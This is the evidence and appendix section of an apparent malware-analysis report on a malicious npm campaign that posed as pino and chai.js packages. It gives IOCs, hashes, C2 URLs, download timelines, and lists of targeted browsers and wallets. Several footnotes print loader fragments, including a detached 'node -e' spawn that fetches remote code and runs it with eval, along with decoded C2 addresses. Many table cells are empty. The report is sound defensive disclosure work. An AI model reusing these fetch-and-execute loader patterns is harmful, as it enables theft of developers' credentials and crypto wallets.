[E2] Read("artifacts/jsonspack/loaders/badc6-variant/caller.txt") — representative BADC6-cluster loader. Pattern confirmed across all 27 packages. Eval via new Function.constructor('require', payload)(require).
[E3] Stage-3 payload deobfuscated from the raw JSON {"cookie":"<JS>"} HTTP response. Output: 117 KB of readable JavaScript. Full decode at artifacts/jsonspack/decompiled/payload-synchrony-decoded.txt.
[E4] Panther Threat Research team analysis, 2026-04-01. Constants extracted from deobfuscated payload (artifacts/jsonspack/decompiled/payload-synchrony-decoded.txt): const u_k = 301 at line 358; const t = 3 at line 359. SuperStr0ngSecret@)@^ appears as const validationSecret = "SuperStr0ngSecret@)@^" within the inner socketScript string assembled at line 860 (not at lines 356–365 — that range covers only the u_k and t declarations). The HMAC secret is confirmed present at multiple points in the assembled script as validationSecret.
[E5] Registry liveness verified via tarball URL HTTP status: curl -o /dev/null -w "%{http_code}" <tarball_url>. Live packages return 200. Deleted packages return unpublish tombstone from metadata endpoint with time.unpublished field set; tarballs return 404. All 15 deleted packages recovered from npmmirror.com via npm_download_package().
[E6] curl -fsSL "<https://registry.npmjs.org/><package>" → time object for all publish and unpublish timestamps. Unpublish time from time.unpublished.time field.
[E7] npm_index_search(email="<email>") for all 8 accounts — each returned only the packages listed in the table. No prior publish history.
[E8] node -e "JSON.parse(fs.readFileSync('package.json')).scripts" across all 27 packages — postinstall key absent in all. smoke:pino and smoke:file scripts present but not triggered on install.
[E9] Read("artifacts/jsonspack/loaders/npoint-variant/initializeCaller.txt") — self-executing async function (IIFE), no spawn. SHA256: baa5f96044388ff17a9c84a01ce50ee399cf0c9b146d5c7491e4a23a9eb095b6.
[E10] shasum -a 256 across all downloaded lib/caller.js files — five distinct hashes confirmed across the five tabled clusters (FAWPU, XRGF3, BADC6, npoint, Vercel). The Vercel-cluster packages also ship lib/const.js containing the 4NAKK URL, but this file is dead code — never imported by caller.js. isillegion-cluster packages (chai-as-hooked, chai-as-redeployed) were recovered from the npmmirror mirror; their loader architecture is confirmed (detached spawn via lib/caller.js E20) but their lib/caller.js hash was not separately recorded — they use a distinct C2 domain and are grouped as the sixth channel on that basis.
[E11] virustotal_batch_lookup(iocs=[{type:"url", value:"<http://server-check-genimi.vercel>[.]app/defy/v3"}]) → 0/94 detections.
[E13] SuperStr0ngSecret@)@^ in deobfuscated payload (artifacts/jsonspack/decompiled/payload-synchrony-decoded.txt) as validationSecret within the inner socketScript string (line 860 context). The string SuperStr0ngSecret@)@^ appears at multiple points in the assembled script: once for the /api/notify HMAC (username+“|”+timestamp), once for /api/log HMAC (message[:100]), and once for file upload HMAC (filename). Confirmed by grep -n "SuperStr0ngSecret" on the artifact.
[E14] is_wsl() function in deobfuscated payload: checks process.env.WSL_DISTRO_NAME and fs.readFileSync('/proc/version') for “microsoft”/“wsl” strings. Windows username resolved via cmd.exe /c echo %USERNAME% or /mnt/c/Users/ directory enumeration.
[E15] virustotal_batch_lookup(iocs=[{type:"ip",value:"144.172.110[.]132"},{type:"hash",value:"fdb582f16475cb79bebd0dffc48d610430cae2e39e9a3e2abd373b3413691838"},{type:"url",value:"<https://api.npoint>[.]io/2cc8f9fa09a141aafc03"}, ...]) — 15-IOC batch call, all results from session cache on second reference.
[E16] virustotal_collection(mode="iocs", id="threat-actor--5291630a-0a82-530c-8c26-2c6f3e0ed651", ioc_type="domains") → api.npoint[.]io at 6/94. UNC5342 top URLs include multiple api.npoint[.]io/* endpoints (e.g. http://api.npoint[.]io/001bf7a1f01639123dc1, http://api.npoint[.]io/0a01c9a76266efbbbaf1) confirming platform-level abuse by Contagious Interview. The specific jsonspack endpoint api.npoint[.]io/2cc8f9fa09a141aafc03 does not appear in the UNC5342 IOC list.
[E35] virustotal_batch_lookup(iocs=[{type:"domain", value:"tetrismic.vercel[.]app"}]) → 14/94 VT detections, tagged as Contagious Interview C2. Also referenced in VT intel report report--fde9503ee61d16371c43e76cbcfc83bb414e24d0ae5aefca32c36f5c5786a397 (“Contagious Interview campaign expands with 197 npm packages spreading new OtterCookie malware”) which lists tetrismic.vercel[.]app and npoint[.]io as campaign IOCs. jsonspack uses server-check-genimi.vercel[.]app — a different subdomain with 0/94 VT detections.
[E17] Panther Threat Research team attribution analysis, 2026-04-01. Technical fingerprints compared against: DeceptiveDevelopment/FFerret/DrHost, BlueNoroff/SUGARLOADER, Citrine Sleet/PondRat, and known MaaS stealers. All eliminated on the discriminators listed in the Attribution table above.
[E18] Panther Threat Research team reviewed the following public threat intelligence sources on 2026-04-01: Jamf Threat Labs, Objective-See, SentinelOne, ESET WeLiveSecurity, Kaspersky SecureList, Elastic Security Labs, Trend Micro, Mandiant/Google GTIG, CrowdStrike, pberba.github.io, wojciechregula.blog, theevilbit.github.io, MITRE ATT&CK. Findings 1–4 (HTTP 404 payload gate, JSON cookie masquerade, WSL-to-Windows credential bridge, three-script PID lock orchestration) not found in reviewed sources. The Function.constructor eval pattern is known in Node.js security research but not documented in npm malware threat reports. HMAC-authenticated C2 communication is documented in APT implant frameworks but not in npm supply chain malware. The 40-entry crypto wallet extension ID list is documented in Contagious Interview/BeaverTail reports by ESET and MITRE.
[E19] panther_get_alert("25b9435bd5fd17500199c47ecaf38a8e") and panther_get_alert("30a007ce18f8aacd54cb26b2f79de5e0") — NPM.Malicious.Verdict.LLM rule, 2026-03-30. Confirmed in osm-submissions/submitted/2026-03-30_chai-as-hooked.json and 2026-03-30_chai-as-redeployed.json.
[E20] curl -fsSL "<https://registry.npmjs.org/chai-as-hooked>" → time.unpublished.time: "2026-03-26T...". Tarball recovered via npm_download_package() from npmmirror.com mirror fallback.
[E21] npm_index_search(email="hello@jsonspack[.]com") → 32 results. osm_batch_check([{package_name:"chai-extensions-extra"},{package_name:"chain-metrica"},{package_name:"node-metrica"},{package_name:"metrify-chain"},{package_name:"metrify-node"},{package_name:"chain-syncora"},{package_name:"node-syncora"},{package_name:"relion-node"},{package_name:"relion-chain"},{package_name:"chai-chain-coremesh"},{package_name:"coremesh"},{package_name:"coremeshnode"},{package_name:"gemini-ai-checker"}]) → 13 clear. Public npm registry does not support email-based package queries — this pivot was only possible via the Panther npm-index.
[P1] GitHub Code Search API: GET /search/code?q="SuperStr0ngSecret"&type=code — rate limited (unauthenticated). grep.app: https://grep.app/search?q="SuperStr0ngSecret" — Vercel security checkpoint blocked unauthenticated fetch. String not found in any accessible public repository.
[P2] npm_package_info("jsonpack", "1.1.5") → published 2016-04-20, maintainers sapienlab <npm@sapienlab.com>, last modified 2022-06-19. Repository: git+https://github.com/sapienlab/jsonpack.git. Unrelated to this campaign.
[E34] Read("artifacts/jsonspack/loaders/badc6-variant/caller.txt") → line 4: const process = { env: { DEV_API_KEY: "aHR0c...", ... } }. The local const process declaration at file scope shadows the global Node.js process object for all code below it in the file. atob(process.env.DEV_API_KEY) therefore resolves the hardcoded base64 string, not any real environment variable. Pattern confirmed across all downloaded BADC6-cluster packages via grep -n "const process" → identical structure in each.
[E30] npm_package_info("chai") → description: "BDD/TDD assertion library for node.js and the browser. Test framework agnostic.", latest v6.2.2. npm_package_info("chai-as-promised") → description: "Extends Chai with assertions about promises." — confirming chai-as-* is an established naming convention for chai.js assertion plugins.
[E31] Read("artifacts/jsonspack/loaders/vercel-variant/package.json") → opening line: "Lightweight and flexible rate limiting middleware for Express.js applications. Protect your APIs from abuse, brute-force attacks, and DDoS attempts with minimal overhead." grep "module.exports" artifacts/jsonspack/loaders/vercel-variant/caller.txt → module.exports.flowlimit = middleware. No docs/ directory present.
[E32] shasum -a 256 .../metrify-chain-.../docs/api.md .../chai-chain-coremesh-.../docs/api.md .../relion-node-.../docs/api.md → all three return 1c777a65a337b48318f3cfff9cee9ffdecc2f7867f7365f53c7e0af492add2a4 — verbatim copy of pino’s documentation confirmed identical across package families. docs/api.md from chai-as-adapter@1.5.2 archived at artifacts/jsonspack/decompiled/pino_docs_api.md — shasum -a 256 confirms 1c777a65a337b48318f3cfff9cee9ffdecc2f7867f7365f53c7e0af492add2a4, verifiable from artifact directory.
[E37] Read("artifacts/jsonspack/loaders/badc6-variant/const.txt") → DEV_API_KEY: "aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0JBREM2". node -e "console.log(Buffer.from('aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0JBREM2','base64').toString())" → https://jsonkeeper.com/b/BADC6. BADC6 variant confirmed: caller.js has const process = {env:{DEV_API_KEY:"..."}} shadow, reads C2 via atob(process.env.DEV_API_KEY). shasum -a 256 lib/caller.js → 5f2d8aec684e79cb983af79d29fddf7e7ecf1e36474baf1422e77c9b79caee23 confirmed across all 13 BADC6 packages.
[E38] Read("artifacts/jsonspack/loaders/fawpu-variant/caller.txt") → line 6: const src = atob("aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0ZBV1BV"). node -e "console.log(Buffer.from('aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0ZBV1BV','base64').toString())" → https://jsonkeeper.com/b/FAWPU. FAWPU variant confirmed: self-contained inline atob(), no const process shadow, no const.js dependency for C2 URL. lib/const.js present in package with DEV_API_KEY pointing to 4NAKK but not read by this variant. shasum -a 256 lib/caller.js → 70f8deb4d35ab7db47845f6b6666ae6c0a22814eca580a10e7a0ba09f9ece5f8 confirmed across all 5 FAWPU packages (chai-as-adapter, chai-as-chain-v2, chai-as-evm, chai-use-chain, lockedin-chai-chain).
[E39] Read("artifacts/jsonspack/loaders/xrgf3-variant/caller.txt") → line 13: const src = "<https://jsonkeeper.com/b/XRGF3>" (plaintext string literal). Same file also contains const process = {env:{DEV_API_KEY:"aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1hSR0Yz"}} where base64 decodes to same XRGF3 URL. Execution path uses plaintext src, not atob(process.env.DEV_API_KEY). shasum -a 256 lib/caller.js → d81e48769a830cd3384a4b8977ade12e5ab7583eb7cca84e7ab966d15871bd71 confirmed on both XRGF3 packages (chai-beta, chai-str).
[E40] Read("artifacts/jsonspack/loaders/vercel-variant/config.txt") → DEV_API_CHECK_DOMAIN: "<http://server-check-genimi.vercel.app>", aspath: "/defy/", token: "v3". Read("artifacts/jsonspack/loaders/chai-extensions-extras/config.txt") → identical Vercel domain. Read("artifacts/jsonspack/loaders/gemini-ai-checker/config.txt") → identical Vercel domain. All four packages (express-flowlimit, chai-extensions-extras, gemini-ai-checker, chai-extensions-extra) confirmed Vercel cluster: caller.js reads require('./config') and config.js points to server-check-genimi.vercel[.]app. Both gemini-ai-checker and chai-extensions-extra contain a lib/const.js with DEV_API_KEY decoding to https://jsonkeeper.com/b/4NAKK — this file is never imported by caller.js and is dead code.
[E29] Deobfuscation run against artifacts/jsonspack/payloads/fawpu/payload_FAWPU_extracted.txt, artifacts/jsonspack/payloads/xrgf3/payload_XRGF3_extracted.txt, artifacts/jsonspack/payloads/badc6/payload_BADC6_extracted.txt. All three: obfuscation confirmed as obfuscator.io short-name RC4 variant via static fingerprinting (while(!![]), base64 alphabet, single-char function names, no _0x prefix). Deobfuscation output: FAWPU → artifacts/jsonspack/payloads/fawpu/payload_FAWPU_deobfuscated.txt (3.2 KB); XRGF3 → artifacts/jsonspack/payloads/xrgf3/payload_XRGF3_deobfuscated.txt (45 KB); BADC6 → artifacts/jsonspack/payloads/badc6/payload_BADC6_deobfuscated.txt (43 KB). All exits 0. Failure mode: Push/shift calculation failed (iter=N>maxLoops=N-1) — the rotation function target value exceeded the internal deobfuscator loop ceiling (64 for FAWPU; 2,584/2,590 for XRGF3/BADC6). FAWPU partial output reveals: spawn('node', ['-e', o], {detached: true, stdio: 'ignore'}) confirming secondary loader structure. XRGF3/BADC6 partial outputs show only process.on as a surviving readable identifier; all string references remain as aM(1220, ...) encoded calls.
[E26] Researcher fetched FAWPU, XRGF3, and BADC6 buckets from a secure machine on 2026-04-01. Raw JSON files saved to artifacts/jsonspack/payloads/fawpu/payload_FAWPU_raw_http_response.txt, artifacts/jsonspack/payloads/xrgf3/payload_XRGF3_raw_http_response.txt, artifacts/jsonspack/payloads/badc6/payload_BADC6_raw_http_response.txt; cookie fields extracted to .txt files. SHA256 hashes verified. 4NAKK (https://jsonkeeper[.]com/b/4NAKK) returned HTTP 404. Vercel (http://server-check-genimi.vercel[.]app/defy/v3 and /defy/v3/x) returned HTTP 404 on both standard and probe requests — C2 offline or taken down.
[E27] Static analysis of artifacts/jsonspack/payloads/fawpu/payload_FAWPU_extracted.txt (4,228 chars): grep -o 'spawn\\|detached\\|unref\\|child_process' confirms spawner pattern. 10 functions, 32 string array entries (V() function). Final line: s=e('node',['-e',o],{detached:!false,'stdio':'ignore'}); s[...unref...](). Variable o constructs require('axios').get(<decoded URL>).then(res => eval(res.data.<decoded field>)). URL and field name are RC4+base64 encoded in string array V(); not recoverable by static analysis without execution. grep -c 'SuperStr0ng\\|144\\.172\\.110\\|socket' — all 0.
[E28] Static analysis of artifacts/jsonspack/payloads/xrgf3/payload_XRGF3_extracted.txt and artifacts/jsonspack/payloads/badc6/payload_BADC6_extracted.txt: function counts 124/122; string array entries 1292/1295; grep -o '.\\.{20}0x301.\\.{20}' shows 0x301 used as a hex offset argument to string decoder function cd()/bA(), not as an operator key. grep -c 'SuperStr0ng\\|144\\.172\\.110\\|socketScript\\|ldbScript\\|searchAndUpload' — all 0 in both files.
[E24] curl -fsSL "<https://registry.npmjs.org/-/npm/v1/security/advisories?package=><name>" for gemini-ai-checker, coremesh, and metrify-chain — all returned no advisory data. npm’s automated security systems had not flagged any of these packages as malicious at the time of removal.
[E25] npm’s unpublish policy: packages may be self-unpublished by the publisher within 72 hours of the most recent publish without contacting support. After 72 hours, removal requires contacting npm support or npm security action. Dwell times calculated from time.created and time.unpublished.time fields in registry tombstone. All 14 short-lived packages had dwell times < 72h (range: 0.1h to 71h). gemini-ai-checker had dwell time of 301.6h, requiring external intervention. Tombstone format for all 15: time.unpublished present, no reason or deprecated field, no npm-notice field — consistent with unpublish rather than npm security takedown.
[E23] Read("artifacts/jsonspack/loaders/badc6-variant/package.json") → keywords ["fast","logger","stream","json"], script "smoke:pino": "node ./index.js". Read("artifacts/jsonspack/loaders/vercel-variant/package.json") (README content) → badge URLs reference https://www.npmjs.com/package/pino and https://github.com/pinojs/pino/actions. ls artifacts/jsonspack/decompiled/ → api.md benchmarks.md browser.md bundling.md child-loggers.md ecosystem.md help.md lts.md pretty.md — verbatim copy of pino docs. grep "module.exports" .../index.js → module.exports.pino = middleware. Pattern confirmed identical across all pino-masquerading packages.
[E22] npm_download_package("express-flowlimit", "2.2.8") → tarball extracted. Read("artifacts/jsonspack/loaders/vercel-variant/caller.txt") → plain unobfuscated JavaScript, 38 lines. The catch(error) block checks error.response?.status === 404 && error.response.data?.token explicitly (the code uses try/catch inside a while(retrycnt > 0) loop, not .then()/.catch() promise chaining). The .then() handler logs 'Token fetched:', response.data.token — the decoy on 200. No deobfuscation, no execution, no C2 contact required to determine this behaviour.
[R1] MITRE ATT&CK T1480 — Execution Guardrails: https://attack.mitre.org/techniques/T1480/. No sub-technique documents HTTP error code as delivery signal.
[R2] MITRE ATT&CK T1001 — Data Obfuscation: https://attack.mitre.org/techniques/T1001/. No prior npm malware report documents {"cookie":"<JS>"} JSON delivery pattern.
[A1] Browser list from getChromiumBasePaths() and extractAndUploadPasswords() in deobfuscated npoint[.]io payload. The 13 browsers targeted are: Google Chrome, Brave, AVG Browser, Microsoft Edge, Opera, Opera GX, Vivaldi, Kiwi Browser, Yandex Browser, Iridium, Comodo Dragon, SRWare Iron, Chromium. Source: browserNames array in deobfuscated payload ldbScript section.
[A2] Full 40-entry wallet extension ID list from wps constant in deobfuscated npoint[.]io payload ldbScript. See Appendix E for the complete table.
[E33] shasum -a 256 run against lib/caller.js in all downloaded tarballs (archived in artifacts/jsonspack/loaders/). Results: 11 deleted BADC6-cluster packages (coremesh, coremeshnode, chai-chain-coremesh, relion-chain, relion-node, chain-syncora, node-syncora, metrify-node, metrify-chain, node-metrica, chain-metrica) all return 5f2d8aec684e79cb983af79d29fddf7e7ecf1e36474baf1422e77c9b79caee23. Surviving BADC6 packages trackora-node and trackora-chain: same hash confirmed via npm_download_package("trackora-node", "2.4.5") and shasum. docs/api.md SHA256 1c777a65a337b48318f3cfff9cee9ffdecc2f7867f7365f53c7e0af492add2a4 identical across all three families. Deps axios, parse-json, request, sqlite3 confirmed via node -e "JSON.parse(fs.readFileSync('package.json')).dependencies".
[E36] isillegion[.]com (www.isillegion[.]com) was the C2 endpoint hardcoded in chai-as-hooked and chai-as-redeployed — the two packages that triggered initial Panther detection. It is distinct from the 144.172.110[.]132 infrastructure analysed in this report and was not further investigated. Its relationship to the jsonspack campaign (precursor deployment, different tenant, or unrelated use of the same loader template) is unknown.
Footnote prefixes: E = evidence (tool commands, file reads, hash verifications, VT lookups); P = prior art (external context not from this analysis); R = references (MITRE ATT&CK technique citations); A = appendix data (browser and wallet extension lists).
Appendix
Appendix A — Publisher Accounts
All eight npm accounts were created solely for this campaign. None have any prior publish history. E7
Account | Packages | |
|---|---|---|
| — |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Note: hello@jsonspack[.]com appears as the author contact email in package.json metadata across all these packages but does not correspond to an npm account used to publish them — publication was done via the eight separate accounts listed above. Whether this email represents a single operator, a shared brand identity, or a common template is unknown. jsncos.com, izkat.com, marvetos.com, and officecombine.com are disposable email provider domains.
Appendix B — Full Hash Table
SHA256 | File | VT | Role |
|---|---|---|---|
| payload-extracted.txt | 0/94 — first discovery |
|
| payload.js | 0/94 — first discovery |
|
| payload_FAWPU_extracted.txt | 0/94 — first discovery | FAWPU payload — secondary loader (4,228 chars); fetches further stage |
| payload_FAWPU.json | 0/94 — first discovery | FAWPU payload — raw JSON HTTP response |
| payload_XRGF3_extracted.txt | 0/94 — first discovery | XRGF3 payload — extracted JS (~90KB); partially analysed |
| payload_XRGF3.json | 0/94 — first discovery | XRGF3 payload — raw JSON HTTP response |
| payload_BADC6_extracted.txt | 0/94 — first discovery | BADC6 payload — extracted JS (~90KB); likely same as XRGF3, different obfuscation run |
| payload_BADC6.json | 0/94 — first discovery | BADC6 payload — raw JSON HTTP response |
| lib/caller.js | 0/94 — first discovery | FAWPU-cluster loader (5 packages) |
| lib/caller.js | 0/94 — first discovery | XRGF3-cluster loader (chai-beta, chai-str) |
| lib/caller.js | 0/94 — first discovery | BADC6-cluster loader (13 packages) |
| lib/caller.js | 0/94 — first discovery | Vercel-cluster loader (express-flowlimit, chai-extensions-extras, gemini-ai-checker, chai-extensions-extra) |
| lib/initializeCaller.js | 0/94 — first discovery | npoint-cluster inline loader — chai-as-encrypted (fires as IIFE on require()) |
| lib/const.js | 0/94 — first discovery | npoint C2 config backup (chai-as-encrypted) |
Appendix C — Live Packages
Package | Version | Published (UTC) | Publisher | C2 Cluster | Downloads | Masquerades as |
|---|---|---|---|---|---|---|
| 1.2.6 | 2026-03-19T23:49:33Z |
| FAWPU | 192 | pino logger |
| 2.2.8 | 2026-03-31T10:38:12Z |
| Vercel | 477 | express middleware |
| 1.1.9 | 2026-03-25T06:44:16Z |
| XRGF3 | 156 | chai.js plugin |
| 1.1.9 | 2026-03-25T07:38:49Z |
| XRGF3 | 165 | chai.js plugin |
| 2.0.6 | 2026-03-25T08:42:14Z |
| npoint | 160 | chai.js plugin |
| 1.1.1 | 2026-03-25T10:22:48Z |
| FAWPU | 154 | pino logger |
| 1.1.2 | 2026-03-26T07:50:47Z |
| FAWPU | 148 | pino logger |
| 1.5.2 | 2026-03-26T07:58:43Z |
| FAWPU | 142 | pino logger |
| 1.2.6 | 2026-03-26T08:09:11Z |
| FAWPU | 154 | pino logger |
| 2.4.5 | 2026-03-30T18:15:35Z |
| BADC6 | 86 | pino logger |
| 2.4.5 | 2026-03-30T18:15:59Z |
| BADC6 | 83 | pino logger |
| 1.2.5 | 2026-03-31T10:30:38Z |
| Vercel | ~0 | chai.js plugin |
LIVE TOTAL | 1,917 |
Appendix D — Deleted Packages
Publisher column shows the author field from package.json in the downloaded tarball.E33 The npm registry tombstone retains no _npmUser account data after unpublishing, so the npm account that published these packages is unrecoverable from the registry. Two packages (gemini-ai-checker, chai-extensions-extra) use the first name Austin rather than Robert King; both names are unverified and likely fictitious.
Package | Versions | Published (UTC) | Deleted (UTC) | Hours Live | C2 Cluster | Downloads | Author (package.json) |
|---|---|---|---|---|---|---|---|
| 1.3.3–1.3.6 | 2026-03-18T19:37:14Z | 2026-03-31T09:14:43Z | 301.6h | Vercel | 843 | Austin <hello@jsonspack[.]com> |
| 2.4.5 | 2026-03-26T09:15:33Z | 2026-03-26T11:30:38Z | 2h | BADC6 | 79 | Robert King <hello@jsonspack[.]com> |
| 2.4.5 | 2026-03-26T09:15:51Z | 2026-03-26T11:30:37Z | 2h | BADC6 | 82 | Robert King <hello@jsonspack[.]com> |
| 2.4.5 | 2026-03-26T09:16:16Z | 2026-03-26T11:30:35Z | 2h | BADC6 | 85 | Robert King <hello@jsonspack[.]com> |
| 2.4.7 | 2026-03-26T12:29:18Z | 2026-03-26T15:35:53Z | 3h | BADC6 | 76 | Robert King <hello@jsonspack[.]com> |
| 2.4.7 | 2026-03-26T12:30:05Z | 2026-03-26T15:35:54Z | 3h | BADC6 | 79 | Robert King <hello@jsonspack[.]com> |
| 2.4.5 | 2026-03-26T19:04:02Z | 2026-03-27T13:16:23Z | 18h | BADC6 | 85 | Robert King <hello@jsonspack[.]com> |
| 2.4.5 | 2026-03-26T19:03:41Z | 2026-03-27T13:16:25Z | 18h | BADC6 | 81 | Robert King <hello@jsonspack[.]com> |
| 2.4.5 | 2026-03-27T14:31:12Z | 2026-03-30T13:28:18Z | 71h | BADC6 | 133 | Robert King <hello@jsonspack[.]com> |
| 2.4.5 | 2026-03-27T14:31:51Z | 2026-03-30T13:28:17Z | 71h | BADC6 | 136 | Robert King <hello@jsonspack[.]com> |
| 2.4.5 | 2026-03-30T15:22:23Z | 2026-03-30T15:34:08Z | <1h | BADC6 | 63 | Robert King <hello@jsonspack[.]com> |
| 2.4.5 | 2026-03-30T15:22:42Z | 2026-03-30T15:34:06Z | <1h | BADC6 | 80 | Robert King <hello@jsonspack[.]com> |
| 1.0.0 | 2026-03-25T18:23:29Z | 2026-03-26T~18:00Z | <1 day | isillegion | 0 | hello@jsonspack[.]com |
| 3.5.7 | 2026-03-26T23:20:29Z | 2026-03-27T~18:00Z | <1 day | isillegion | 0 | hello@jsonspack[.]com |
| 1.2.2 | 2026-03-31T09:27:20Z | 2026-03-31T09:33:44Z | <1h | Vercel | 0 | Austin <hello@jsonspack[.]com> |
DELETED TOTAL (15) | 1,822 |
GRAND TOTAL: 3,739 downloads across 27 packages.
Appendix E — Targeted Wallet Extensions
40 Chrome wallet extensions targeted by the ldbScript browser credential stealer. Extension IDs extracted from the wps constant in the deobfuscated npoint[.]io payload. The malware source contains only raw extension IDs with no wallet name labels — wallet names were resolved via the Chrome Web Store on 2026-04-02. Eleven extensions are currently unlisted (removed or delisted from the store).
# | Extension ID | Wallet (Chrome Web Store) |
|---|---|---|
1 |
| MetaMask |
2 |
| (unlisted) |
3 |
| Rabby Wallet |
4 |
| Phantom |
5 |
| TronLink |
6 |
| Trust Wallet |
7 |
| TON Wallet |
8 |
| Tonkeeper |
9 |
| Solflare Wallet |
10 |
| Coin98 |
11 |
| (unlisted) |
12 |
| Core Wallet |
13 |
| Exodus Web3 Wallet |
14 |
| MathWallet |
15 |
| (unlisted) |
16 |
| Keplr |
17 |
| Ready Wallet (ex-Argent) |
18 |
| Martian (Aptos/Sui) |
19 |
| Petra (Aptos) |
20 |
| (unlisted) |
21 |
| (unlisted) |
22 |
| (unlisted) |
23 |
| MyTonWallet |
24 |
| Atomic Wallet |
25 |
| Crypto.com Onchain |
26 |
| Ctrl Wallet |
27 |
| Coinbase Wallet |
28 |
| Bitget Wallet |
29 |
| Kaia Wallet |
30 |
| (unlisted) |
31 |
| (unlisted) |
32 |
| (unlisted) |
33 |
| Suiet (Sui) |
34 |
| (unlisted) |
35 |
| SafePal |
36 |
| OKX Wallet |
37 |
| Polkadot.js |
38 |
| (unlisted) |
39 |
| OpenMask (TON) |
40 |
| UniSat Wallet |
OSM Submissions
All 27 packages in this campaign were reported to OpenSourceMalware. chai-as-hooked and chai-as-redeployed were initially flagged at HIGH before the full campaign scope was established; the remaining 25 were submitted at CRITICAL after payload analysis confirmed a fully-decoded RAT.
Package | OSM Threat ID | Severity |
|---|---|---|
| HIGH | |
| HIGH | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL | |
| CRITICAL |
Share:
RESOURCES






